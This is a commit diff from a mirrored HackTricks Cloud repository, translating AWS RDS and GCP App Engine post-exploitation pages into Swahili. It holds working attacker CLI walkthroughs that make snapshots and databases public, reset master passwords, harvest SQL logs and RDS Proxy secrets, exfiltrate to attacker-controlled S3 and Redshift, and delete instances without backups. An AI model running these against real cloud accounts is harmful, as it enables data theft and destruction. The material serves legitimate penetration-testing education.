gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-11-26 17:24:47 +00:00
parent 040c904626
commit 61c31de88a
18 changed files with 1243 additions and 426 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
+93 -64
View File
@@ -12,7 +12,7 @@ Kwa taarifa zaidi angalia:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Iwapo mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inayopatikana kwa umma** kwa kuunda snapshot ya DB, na kisha DB inayopatikana kwa umma kutoka kwa snapshot.
Iwapo mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB publicly accessible** kwa kuunda snapshot ya DB, kisha kuanzisha DB inayoweza kufikiwa hadharani kutoka kwenye snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Mshambuliaji mwenye rds:StopDBCluster au rds:StopDBInstance anaweza kulazimisha kusimamishwa mara moja kwa RDS instance au cluster nzima, kusababisha database kutopatikana, muunganisho kuvunjika, na kusitishwa kwa michakato inayotegemea database.
Attacker mwenye rds:StopDBCluster au rds:StopDBInstance anaweza kulazimisha kusimamisha mara moja RDS instance au cluster nzima, na kusababisha kutokuwepo kwa upatikanaji wa database, kuvunjika kwa muunganisho, na kusitishwa kwa michakato inayotegemea database.
Ili kusimamisha DB instance moja (mfano):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Kusimamisha klasta nzima ya DB (mfano):
Kusimamisha klasta yote ya DB (mfano):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
Mshambuliaji aliyepewa ruhusa rds:Modify* anaweza kubadilisha mipangilio muhimu na rasilimali za ziada (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) bila kuathiri instance au cluster moja kwa moja. Mabadiliko kama kurekebisha connection/time-out parameters, kubadilisha proxy endpoint, kubadilisha ni certificates zipi zinazoaminika, kubadilisha logical capacity, au kusanidi upya subnet group yanaweza kudhoofisha usalama (kufungua njia mpya za ufikiaji), kuvunja routing na load-balancing, kufanya replication/backup policies zisifae, na kwa ujumla kupunguza availability au recoverability. Marekebisho haya pia yanaweza kuwezesha data exfiltration isiyo ya moja kwa moja au kuzuia urejesho wa database kufanywa kwa mpangilio baada ya tukio.
Move or change the subnets assigned to an RDS subnet group:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Badilisha vigezo vya chini vya engine katika cluster parameter group:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
Mvamizi aliye na ruhusa rds:Restore* anaweza kurejesha hifadhidata nzima kutoka kwa snapshots, automated backups, point-in-time recovery (PITR), au kutoka kwa faili zilizohifadhiwa kwenye S3, akitengeneza instances au clusters mpya zilizojazwa na data kutoka kwa wakati ulioteuliwa. Operesheni hizi hazifanyi overwrite kwa rasilimali za asili — zinaunda vitu vipya vinavyobeba data za kihistoria — jambo linalomruhusu mvamizi kupata nakala kamili na zinazofanya kazi za hifadhidata (kutoka kwa pointi za zamani za wakati au kutoka kwa faili za S3 za nje) na kuzitumia ku-exfiltrate data, kuibadilisha rekodi za kihistoria, au kujenga upya hali za awali.
Rejesha DB instance hadi wakati maalum:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
Mshambulizi aliyepewa `rds:Delete*` anaweza kuondoa rasilimali za RDS, ikiwa ni pamoja na kufuta DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups na artifacts zinazohusiana, na kusababisha kukatika kwa huduma mara moja, kupoteza data, uharibifu wa pointi za urejeshaji na kupotea kwa ushahidi wa forensiki.
Mwizi aliyepewa ruhusa ya `rds:Delete*` anaweza kuondoa rasilimali za RDS, akifuta DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups na vipengele vingine vinavyohusiana, kusababisha kukatika kwa huduma mara moja, upotevu wa data, uharibifu wa pointi za urejesho na kupotea kwa ushahidi wa forensiki.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **kwa umma** **kupatikana**. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwa snapshot hiyo.
Mshambuliaji mwenye ruhusa hizi anaweza kuunda snapshot ya DB na kuiifanya ipatikane hadharani. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwenye snapshot hiyo.
Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshot zilizotengenezwa **nyingine** **kwa umma**.
Ikiwa mshambuliaji hana `rds:CreateDBSnapshot`, bado anaweza kufanya snapshots nyingine zilizoundwa ziwe hadharani.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,37 +117,37 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Mshambuliaji aliye na ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **download sehemu za log files za instance ya RDS**. Ikiwa data nyeti au access credentials zimeandikwa kwa bahati mbaya kwenye log files, mshambuliaji anaweza kutumia taarifa hizi kupandisha ngazi ya ruhusa zao au kufanya vitendo visivyoidhinishwa.
Mshambulizi mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za instance ya RDS**. Iwapo data nyeti au vitambulisho vya ufikiaji vitarekodiwa kwa bahati mbaya, mshambulizi anaweza kutumia taarifa hizi kuinua ruhusa zake au kufanya vitendo visivyoidhinishwa.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Athari Zinazowezekana**: Kufikia taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
**Athari Inayoweza Kutokea**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
### `rds:DeleteDBInstance`
Mshambuliaji akiwa na ruhusa hizi anaweza **kufanya DoS kwa RDS instances zilizopo**.
Mshambuliaji mwenye ruhusa hizi anaweza **DoS instances za RDS zilizopo**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Athari inayoweza kutokea**: Ufutaji wa instances za RDS zilizopo, na uwezekano wa kupoteza data.
**Athari zinazowezekana**: Ufutaji wa instansi za RDS zilizopo, na uwezekano wa kupoteza data.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Kujaribu
> TODO: Test
Mshambuliaji mwenye ruhusa hii anaweza **kuhamisha snapshot ya instance ya RDS kwenye S3 bucket**. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyohamishwa.
Mshambuliaji mwenye ruhusa hii anaweza **kuhamisha snapshot ya instansi ya RDS kwenda kwenye S3 bucket**. Ikiwa mshambuliaji anadhibiti S3 bucket ya kusudi, anaweza kufikia data nyeti ndani ya snapshot iliyohamishwa.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Athari inayowezekana**: Upatikanaji wa data nyeti katika snapshot iliyotolewa.
**Potential impact**: Ufikiaji wa data nyeti katika snapshot iliyosafirishwa.
### Kuiga Automated Backups kati ya Region kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Tumia vibaya kuiga automated backups kati ya Region ili kwa ukimya kunakili automated backups za instance ya RDS kwenda AWS Region nyingine na kuzirejesha huko. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa ifikike kwa umma na kuweka upya nenosiri kuu ili kufikia data out-of-band katika Region ambayo walinzi hawafuati.
Dhulumu urudiaji wa cross-Region automated backups ili kwa ukimya kunakili automated backups za instance ya RDS katika AWS Region nyingine na kurejesha huko. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa ipatikane kwa umma na kuweka upya master password ili kupata data kwa njia ya nje (out-of-band) katika Region ambayo walinzi wanaweza wasifuatilie.
Ruhusa zinazohitajika (minimamu):
Ruhusa zinazohitajika (chini kabisa):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
@@ -127,10 +155,10 @@ Ruhusa zinazohitajika (minimamu):
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Athari: Uendelevu na uhamisho wa data kwa kurejesha nakala ya data ya uzalishaji katika Region nyingine na kuifungua kwa umma kwa kutumia vitambulisho vinavyodhibitiwa na mshambuliaji.
Athari: Uendelevu na uvuaji wa data kwa kurejesha nakala ya data ya production katika Region nyingine na kuifichua kwa umma ikitumia credentials zinazodhibitiwa na mshambuliaji.
<details>
<summary>CLI kutoka mwanzo hadi mwisho (badilisha vigezo)</summary>
<summary>CLI hatua kwa hatua (badilisha placeholders)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -201,13 +229,13 @@ aws rds stop-db-instance-automated-backups-replication \
### Washa logging kamili ya SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs
Abuse `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kushika taarifa zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinazohitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
Tumia vibaya `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa taarifa zote za SQL zinazotekelezwa na applications (DB engine credentials hazihitajiki). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
- `rds:ModifyDBInstance` (kutumika tu kuambatisha custom parameter group ikiwa instance inatumia default)
- `rds:RebootDBInstance` (kwa parameters zinazohitaji reboot, mfano PostgreSQL)
Steps
1) Recon target and current parameter group
@@ -216,9 +244,9 @@ aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Hakikisha custom DB parameter group imeambatishwa (huwezi kuhariri default)
2) Hakikisha custom DB parameter group imeambatishwa (haiwezi kuhariri chaguo-msingi)
- Ikiwa instance tayari inatumia custom group, tumia tena jina lake katika hatua inayofuata.
- Vinginevyo, unda na uambatisha moja inayolingana na engine family:
- Vinginevyo, tengeneza na uambatanishe moja inayolingana na engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +260,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Washa ufuatiliaji wa SQL wa kina
- MySQL engines (mara moja / hakuna kuanzisha upya):
3) Washa uandishi wa SQL wa kina
- MySQL engines (mara moja / bila kuanzisha upya):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (inahitaji reboot):
- mainjini ya PostgreSQL (inahitaji kuanzisha upya):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Acha workload ifanye kazi (au generate queries). Statements zitaandikwa kwenye engine file logs
4) Acha workload iende (au tengeneza queries). Statements zitaandikwa kwenye engine file logs
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Gundua na pakua logs (no DB creds required)
5) Gundua na pakua logs (hakuna DB creds zinahitajika)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,11 +299,11 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Chunguza nje ya mtandao kutafuta data nyeti
6) Chunguza nje ya mtandao kwa data nyeti
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Mfano wa ushahidi (imehaririwa):
Mfano wa ushahidi (imefichwa):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Athari: Post-exploitation data access kwa kukamata taarifa zote za SQL za application kupitia AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
Athari: Upataji wa data baada ya post-exploitation kwa kunasa kauli zote za SQL za application kupitia AWS APIs (no DB creds), kwa uwezekano leaking secrets, JWTs, and PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Abuse RDS read replicas ili kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda read replica kutoka kwa production instance, reset the replica's master password (hii haitabadilisha primary), na kwa hiari expose replica hadharani ili exfiltrate data.
Tumia RDS read replicas kupata out-of-band read access bila kugusa credentials za primary instance. Muvamizi anaweza kuunda read replica kutoka kwa production instance, kuweka upya master password ya replica (hii haitabadilisha primary), na kwa hiari kuifungua replica hadharani ili exfiltrate data.
Ruhusa zinazohitajika (chini kabisa):
Permissions needed (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Athari: Ufikiaji wa kusoma-tu kwa production data kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary hubaki bila kuguswa na replication inaendelea.
Athari: Ufikiaji wa kusoma tu wa data za production kupitia replica yenye credentials zinazodhibitiwa na muvamizi; uwezekano mdogo wa kugunduliwa kwa kuwa primary haijagusiwa na replication inaendelea.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -346,7 +374,7 @@ Mfano wa ushahidi (MySQL):
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Tumia vibaya RDS Blue/Green kunakili DB ya production kwenye mazingira ya green yanayoendelea ku-replicate na ambayo ni read-only. Kisha weka upya credentials za master za green ili kupata data bila kugusa instance ya blue (prod). Hii ni mbinu ya siri zaidi kuliko snapshot sharing na mara nyingi hupitia monitoring inayolenga chanzo pekee.
Tumia vibaya RDS Blue/Green kuiga DB ya production hadi kwenye mazingira ya green yaliyoripuliwa kwa mfululizo, ya kusoma-tu. Kisha reseti kredensiali za master za green ili kupata data bila kugusa instance ya blue (prod). Hii ni siri zaidi kuliko snapshot sharing na mara nyingi inapita ufuatiliaji unaolenga chanzo pekee.
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,21 +421,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Athari: Kusoma-tu lakini ufikiaji kamili wa data kwa clone ya karibu-wakati-kwenye-kweli ya production bila kubadilisha instance ya production. Inafaa kwa uchimbaji wa data kwa siri na uchambuzi wa offline.
Athari: Ufikiaji wa kusoma tu lakini wa data kamili kwenye clone karibu-na-wakati halisi wa uzalishaji bila kubadilisha instance ya uzalishaji. Inafaa kwa uchimbaji wa data kwa kificho na uchambuzi bila mtandao.
### SQL nje ya njia ya kawaida kupitia RDS Data API kwa kuwezesha HTTP endpoint + kuweka upya nenosiri mkuu
Tumia vibaya Aurora ili kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, uweke upya nenosiri mkuu kwa thamani unayodhibiti, na uendeshe SQL kupitia HTTPS (hapana njia ya mtandao ya VPC inahitajika). Inafanya kazi kwenye engines za Aurora ambazo zinaunga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya matoleo ya Aurora PostgreSQL/MySQL).
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Ruhusa (za chini kabisa):
Tumia Aurora kuwezesha RDS Data API HTTP endpoint kwenye cluster ya lengo, re-reset master password hadi thamani unayodhibiti, na endesha SQL kupitia HTTPS (hapana njia ya mtandao ya VPC inayohitajika). Inafanya kazi kwenye engines za Aurora zinazounga mkono Data API/EnableHttpEndpoint (mf., Aurora MySQL 8.0 provisioned; baadhi ya versions za Aurora PostgreSQL/MySQL).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Athari: Kupita segmentation ya mtandao na kutorosha data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
Athari: Kuvuka segmentation ya mtandao na kutoa data nje kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
<details>
<summary>CLI kutoka mwanzo hadi mwisho (mfano wa Aurora MySQL)</summary>
<summary>CLI kutoka mwanzo hadi mwisho (mfano: Aurora MySQL)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -460,21 +489,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Vidokezo:
- Ikiwa SQL zenye sentensi nyingi zinakataliwa na rds-data, tuma execute-statement tofauti kwa kila taarifa.
- Kwa engines ambapo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn.
- Hakikisha engine/toleo linaunga mkono Data API; vinginevyo HttpEndpointEnabled itabaki False.
- Ikiwa SQL yenye tamko nyingi inakataliwa na rds-data, tuma execute-statement tofauti kwa kila tamko.
- Kwa engines ambazo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn.
- Hakikisha engine/version inasaidia Data API; vinginevyo HttpEndpointEnabled itabaki False.
### Vuna kredensiali za DB kupitia RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Kupata nywila za DB kupitia siri za uthibitisho za RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Tumia vibaya usanidi wa RDS Proxy kugundua Secret ya Secrets Manager inayotumika kwa uthibitishaji wa backend, kisha soma secret hiyo kupata kredensiali za database. Mifumo mingi hutoa ruhusa pana za `secretsmanager:GetSecretValue`, na kufanya hii kuwa njia ya haraka ya kupata DB creds. Ikiwa secret inatumia CMK, ruhusa za KMS zisizopangwa ipasavyo zinaweza pia kuruhusu `kms:Decrypt`.
Tumia vibaya usanidi wa RDS Proxy kugundua siri ya Secrets Manager inayotumika kwa uthibitishaji wa backend, kisha soma siri hiyo ili kupata nywila za database. Mazingira mengi hutoa wigo mpana wa `secretsmanager:GetSecretValue`, na kufanya hii kuwa njia rahisi ya kupata DB creds. Ikiwa siri inatumia CMK, ruhusa za KMS zisizopangwa vizuri zinaweza pia kuruhusu `kms:Decrypt`.
Ruhusa zinazohitajika (za chini kabisa):
Ruhusa zinazohitajika (chini kabisa):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` kwa SecretArn inayotajwa
- Hiari endapo secret inatumia CMK: `kms:Decrypt` kwa ufunguo huo
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Athari: Kufichua mara moja DB username/password iliyosanidiwa kwenye proxy; inaruhusu direct DB access au further lateral movement.
Athari: Ufunuliwa mara moja kwa username/password za DB zilizowekwa kwenye proxy; inawezesha ufikiaji wa moja kwa moja wa DB au kusogea kwa upande mwingine.
Hatua
```bash
@@ -489,7 +518,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Maabara (ya chini kabisa ili kuiga)
Maabara (ya chini kabisa ili kuzalisha tena)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -515,20 +544,20 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Kimyakimya endelevu exfiltration kupitia Aurora zero‑ETL kwa Amazon Redshift (rds:CreateIntegration)
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Tumia vibaya Aurora PostgreSQL zero‑ETL integration ili kuiga data ya production kwa njia endelevu ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye maruhusa inayomruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN ya cluster maalum ya Aurora, attacker anaweza kuanzisha nakala ya data karibu kwa wakati‑halisi bila DB creds, snapshots au network exposure.
Tumia vibaya integrasiyo ya Aurora PostgreSQL zero‑ETL ili kuiga data za uzalishaji kwa mfululizo ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye kibali pana inayoruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN ya klasta maalum ya Aurora, mshambuliaji anaweza kuanzisha nakala ya data karibu kwa wakati‑halisi bila DB creds, snapshots au kufichuliwa kwa mtandao.
Permissions needed (minimum):
Ruhusa zinazohitajika (chini kabisa):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (kwa kuhoji)
- `rds-data:ExecuteStatement` (hiari; kupandia data ikiwa inahitajika)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
Imejaribiwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Unda Redshift Serverless namespace + workgroup</summary>
<summary>1) Unda namespace ya Redshift Serverless + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -575,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Unda Aurora PostgreSQL cluster (iwezeshe Data API na logical replication)</summary>
<summary>3) Unda klasta ya Aurora PostgreSQL (wezesha Data API na logical replication)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -606,7 +635,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
</details>
<details>
<summary>4) Unda muunganisho wa zero‑ETL kutoka RDS</summary>
<summary>4) Unda integration ya zero‑ETL kutoka RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -618,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Kuweka na kuhoji data iliyorudishwa katika Redshift</summary>
<summary>5) Kuweka (materialize) na kuhoji data iliyokaririwa katika Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -633,10 +662,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
Ushahidi ulioonekana katika jaribio:
- redshift describe-inbound-integrations: Hali ACTIVE kwa Integration arn:...377a462b-...
- SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na hali PendingDbConnectState kabla ya uundaji wa DB.
- Baada ya CREATE DATABASE FROM INTEGRATION, listing tables ilibainisha schema ztl na table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
- SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na state PendingDbConnectState kabla ya kuunda DB.
- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha jedwali kuliibua schema ztl na jedwali customers; kuchagua kutoka ztl.customers kilirudisha mistari 2 (Alice, Bob).
Athari: Exfiltration ya karibu‑wakati halisi ya jedwali zilizochaguliwa za Aurora PostgreSQL hadi Redshift Serverless zinazoendeshwa na mshambulizi, bila kutumia database credentials, backups, au network access kwa source cluster.
Athari: Exfiltration endelevu karibu‑wa‑muda‑halisi ya jedwali zilizochaguliwa za Aurora PostgreSQL ndani ya Redshift Serverless zinazodhibitiwa na mshambuliaji, bila kutumia nyaraka za kuingia za database, backups, au ufikiaji wa mtandao kwa cluster ya chanzo.
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
+11 -10
View File
@@ -17,31 +17,32 @@ Kwa ruhusa hizi inawezekana:
- Ongeza key
- Orodhesha keys
- Pata key
- Futa
- Futa key
> [!CAUTION]
> Hata hivyo, **siwezi kupata njia yoyote ya kufikia taarifa hizi kutoka kwa cli**, ni kutoka tu kwa **web console** ambapo unahitaji kujua **Key type** na **Key name**, au kutoka kwa **App Engine running app**.
> Hata hivyo, **sikuweza kupata njia yoyote ya kufikia taarifa hizi kutoka cli**, tu kutoka kwa **web console** ambapo unahitaji kujua **Key type** na **Key name**, au kutoka kwa **app engine running app**.
>
> Kama unajua njia rahisi za kutumia ruhusa hizi, tuma Pull Request!
> Ikiwa unajua njia rahisi za kutumia ruhusa hizi tuma Pull Request!
### `logging.views.access`
Kwa ruhusa hii inawezekana **kuona logs za App**:
<details>
<summary>Tail app logs</summary>
```bash
gcloud app logs tail -s <name>
```
</details>
### Service and version deletion
Ruhusa za `appengine.versions.delete`, `appengine.versions.list`, na `appengine.services.list` zinaruhusu kusimamia na kufuta matoleo maalum ya programu ya App Engine, ambayo inaweza kuathiri trafiki ikiwa imegawanywa au ikiwa toleo pekee thabiti limeondolewa. Wakati huo huo, ruhusa za `appengine.services.delete` na `appengine.services.list` zinaruhusu kuorodhesha na kufuta huduma nzima—kitendo kinachovuruga mara moja trafiki yote na upatikanaji wa matoleo yanayohusiana.
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### Soma Source Code
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. Ikiwa una write access juu yake unaweza kusoma source code na kutafuta **vulnerabilities** na **sensitive information**.
Source code ya matoleo yote na huduma zote **imehifadhiwa katika bucket** yenye jina **`staging.<proj-id>.appspot.com`**. Ikiwa una haki ya kuandika juu yake unaweza kusoma source code na kutafuta **vulnerabilities** na **sensitive information**.
### Badilisha Source Code
Badilisha source code ili kuiba credentials ikiwa zinatumwa au kufanya defacement web attack.
Badilisha source code ili kunyang'anya credentials ikiwa zinatumwa au kufanya defacement web attack.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
+14 -17
View File
@@ -12,30 +12,31 @@ Pata taarifa kuhusu Cloud Functions katika:
### `cloudfunctions.functions.sourceCodeGet`
